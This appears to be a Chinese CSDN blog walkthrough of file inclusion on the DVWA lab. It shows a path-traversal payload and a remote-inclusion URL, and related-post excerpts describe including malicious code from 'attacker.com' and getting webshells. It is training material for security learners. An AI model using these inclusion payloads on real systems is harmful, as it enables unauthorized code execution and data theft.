演示远程文件包含漏洞

已于 2023-11-25 19:41:52 修改
阅读量155 收藏
点赞数
分类专栏： 01 文章标签： 安全 web安全
于 2023-11-20 21:40:03 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_79328240/article/details/134518634
版权

目录

登录靶场

​编辑打开hackbar

尝试本地文件访问

远程文件访问

漏洞原理：

        PHP 文件包含是程序设计的基础功能之一，能够减少代码量，提高开发效率。但是使用 文件包含功能时，有类似于以上测试代码的设计，实现了动态包含，就有产生文件包含漏洞的 风险。如果实现动态包含的参数，Web 应用没有进行严格的校验，浏览器客户端用户可以影 响控制被包含文件的路径，就会产生任意文件包含漏洞。

危害：

        攻击者可以利用该漏洞窃取敏感信息、篡改数据、破坏系统稳定性等。

以dvwa靶场的文件包含漏洞为例

登录靶场

打开hackbar

尝试本地文件访问

利用../ 进行目录穿越访问phpinfo.php,并且运行了

？page=../../../phpinfo.php

远程文件访问

?page=http://192.168.176.172/phpinfo.php

迷途小码匠
关注
专栏目录
远程文件包含原理及利用
G3et的博客
01-27 764
远程文件包含漏洞的危害在于，攻击者可以通过包含恶意文件来执行任意代码，从而获取服务器的权限、控制服务器或窃取服务器上的敏感信息。为了防范远程文件包含漏洞，应当使用严格的输入验证和过滤机制，确保只允许包含受信任的文件。我们来复现一下，首先准备一个phpinfo，假设把这个phpinfo放到我们自己的服务器，或者上传一个图片马放在任何可以上传的地方等等，只要能访问就行。由于没有对用户提交的文件名进行任何的安全限制，所以攻击者可以通过提交远程服务器上的文件 URL 来包含并执行远程文件。先来看看正常的一个情况。
远程包含漏洞获取webshell小实验
BrosyveryOK的博客
10-25 1427
​ 最近刚刚买了个小小的云服务器（哥们也是有服务器的人啦），可以更舒服的进行测试了，测试场景也更加真实，过段时间搭建一个博客，到时候就两边都发文章了。​ ok，直接开始今天的远程包含漏洞（RFI）小实验。
什么是文件包含漏洞？文件包含漏洞利用方法及防御技巧
白帽子凯哥聊黑客
12-21 1127
如果攻击者能够控制包含的文件的内容，那么他们就可以在目标系统上执行任意代码。如果攻击者能够控制URL的内容，那么他们就可以在目标系统上执行任意代码。攻击者可以利用文件包含漏洞在目标系统上执行任意代码，从而控制系统。_GET[‘file’]的值设置为“http://attacker.com/恶意代码.php”，这样就可以在目标系统上执行恶意代码。_GET[‘url’]的值设置为“http://attacker.com/恶意代码.php”，这样就可以在目标系统上执行恶意代码。
【网络安全】-文件包含漏洞-pikachu
最新发布
weixin_65311462的博客
09-11 1922
文件包含漏洞是指程序在执行过程中，将外部文件的内容作为程序代码或数据的一部分来执行使用，从而导致hacker可以利用这个漏洞包含恶意文件，执行任意代码进而访问敏感信息。1.本地文件包含漏洞与远程文件包含漏洞在防范措施上，两者都需要对用户输入进行严格的验证和过滤，但远程文件包含漏洞还需要特别注意禁用相关配置选项和限制外部资源的访问权限。
【文件包含】远程文件包含漏洞利用
wj33333的博客
11-20 761
文件包含漏洞产生的原因是在通过PHP函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。几乎所有的脚本语言都会提供文件包含的功能，但文件包含漏洞在PHP WebApplication中居多，而在JSP、ASP、ASP.NET程序中却非常少，这是有些语言设计的弊端。(1 ) include等函数通过动态执行变量的方式引入需要包含的文件。如果文件有代码，会将包含文件以php文件的类型解析。(2）用户能控制该动态变量。1.查看配置是否开启。
【web安全】——文件包含漏洞
热门推荐
Demo不是emo的博客
12-02 2万+
文件包含漏洞详解，持续更新中
本地文件包含&远程文件包含漏洞复现
weixin_45701675的博客
11-20 1302
本地文件包含与远程文件包含
文件包含原理及本地文件包涵漏洞案例演示；远程文件包含漏洞案例讲解和演示；文件包含漏洞之文件上传漏洞的利用
qq_44696653的博客
05-12 1260
文件包含原理及本地文件包涵漏洞案例演示 一、文件包含漏洞概述（摘录） 在web后台开发中，程序员往往为了提高效率以及让代码看起来更加简介，会使用“包含”函数功能。比如把一系列功能函数都写进fuction.php中，之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用函数代码。 但有些时候，因为网站功能需求，会让前端用户选择...
远程文件包含漏洞案例讲解和演示
北冥有鱼
05-06 2252
我们可以通过php协议实现远程文件包含，这个include默认是关闭的，我们可以手动给他打开 远程包含漏洞危害级别要高出本地的很多，因为本地的利用是有限的，我们还需要去猜这个配置文件的漏洞，危害自然就低一些 比如我们可以在远端写一个一句话木马，放到本地去执行，实现了目标站点的远程控制 我们来到pikachu 随便提交一个 实际上他提交的是一个目标文件的路径 在测试站点中，直接写了一个fope...
Pikachu靶场-文件包含漏洞
qq_53083285的博客
11-20 774
pikachu靶场文件包含漏洞文件包含漏洞概述本地文件包含漏洞测试远程文件包含漏洞测试文件包含漏洞之文件上传漏洞的利用文件包含漏洞常见防范措施 文件包含漏洞概述 文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。 比如 在PHP中，提供了： include(),include_once() require(),require_once() 这些文件包含函数，这些函数在代码设计中被经常使用到。 大多数情况下，文件包含函数中包含的
文件包含漏洞
qq_51553814的博客
09-13 407
关于文件包含漏洞，我觉得和ssrf漏洞有点儿像，ssrf漏洞是通过curl()函数获取信息但是没有进行过滤，从而访问到内网造成危害，文件包含漏洞则是通过include()函数获取文件，攻击者输入敏感文件导致敏感文件也被输出从而产生危害。 原理 开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，而无需再次编写，这种调用文件的过程一般被称为包含。 为了使代码更加灵活，通常会将被包含的文件设置为变量，用来进行动态调用，但正是由于这种灵活性，从而导致客户端可以调用一个恶意文件，造成文
远程文件包含漏洞：PHP 网络开发详解
PeGroovy的博客
09-29 216
远程文件包含漏洞是指在Web应用程序中，未经适当过滤和验证的用户输入被直接用作文件路径，导致恶意用户可以通过构造特定的请求，将任意文件包含到应用程序的执行环境中。这可能导致攻击者执行任意代码、访问敏感文件或获取系统权限。远程文件包含漏洞通常发生在使用PHP的动态网页应用程序中，其中包含了用于包含其他文件的函数，如includerequire等。当用户可以控制被包含文件的路径时，攻击者可以通过构造特定的请求参数来实现远程文件包含。php?在上述代码中，$page。
文件包含漏洞详解
剁椒鱼头没剁椒的博客
12-01 4665
文件包含漏洞就是使用函数去包含任意文件的时候，当包含的文件来源过滤不严谨的时候，当存在包含恶意文件后，就可以通过这个恶意的文件来达到相应的目的。file : // #访问本地文件系统 http : // #访问HTTPs网址 ftp : // #访问ftp URL php : // #访问输入输出流 zlib : // #压缩流 data : // #数据 ssh2 : // #security shell2 expect : // #处理交互式的流 glob : // #查找匹配的文件路径。
文件包含漏洞全面详解
heike_Ch的博客
04-24 1029
1.文件包含漏洞概述和SQL注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的脚本或者代码，并让服务端执行。什么叫包含呢？以PHP为例，我们常常把可重复使用的函数写入到单个文件中，在使用该函数时，直接调用此文件，而无需再次编写函数，这一过程叫做包含。有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。以PHP为例,常用的文件包含函数有以下四种。
文件包含漏洞利用
qq_52072846的博客
02-28 3131
1.1实验目标 (1)通过本实验，通过远程文件包含漏洞包含远程 Webshell，从而Getshell 1.2实验原理 (1).文件包含函数加载的参数没有经过过滤或者严格定义，可以被用户控制，包含了其他恶意文件； 导致执行了非预期的代码。分类:本地文件包含和远程文件包含。 (2).可利用途径:读取敏感信息、远程包含shell、本地包含配合文件上传; (3).php伪协议 实验 1.本地文件包含（无视后缀）； 原理 (1) include等函数通过动态执行变量的方式引入需要包含的文件 (
7-2远程文件包含漏洞案例讲解和演示
山兔的博客
05-31 2387
远程文件包含漏洞测试  远程文件包含漏洞测试 远程文件包含漏洞 远程文件包含漏洞形式跟本地文件包含漏洞差不多，都是我们的开发人员在后台使用包含函数的时候，没有对它包含的目的地，进行相关的安全措施，导致前端传进来的目标地址，被直接包含进去 在本地文件包含漏洞中，它传进来的，只能是本地的文件，它只能在本地去读取相关路径下的一些文件 在远程包含漏洞中，攻击者可以通过访问外部地址来加载远程的代码 但是在PHP配置里面，我们可以通过一些特殊的配置，允许这个包含函数，去通过一些协议，比如http、ftp这样的协议，去
【网络安全】本地文件包含及远程文件包含漏洞详解
goldfish8848的博客
08-05 1249
开发人员将需要重复调用的函数写入一个文件，对该文件进行包含时产生的操作。这样编写代码能减少冗余，降低代码后期维护难度。保证网站整体风格统一：导航栏、底部footer栏等，把这些不会变的东西包含在一个文件中，可以保证整体效果的统一和代码量的减少。
【文件包含漏洞02】文件包含漏洞原理及本地远程两种攻击方式
Fighting_hawk的博客
03-10 5243
1. 理解文件包含漏洞产生的原因； 2. 掌握本地与远程利用漏洞的方式。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值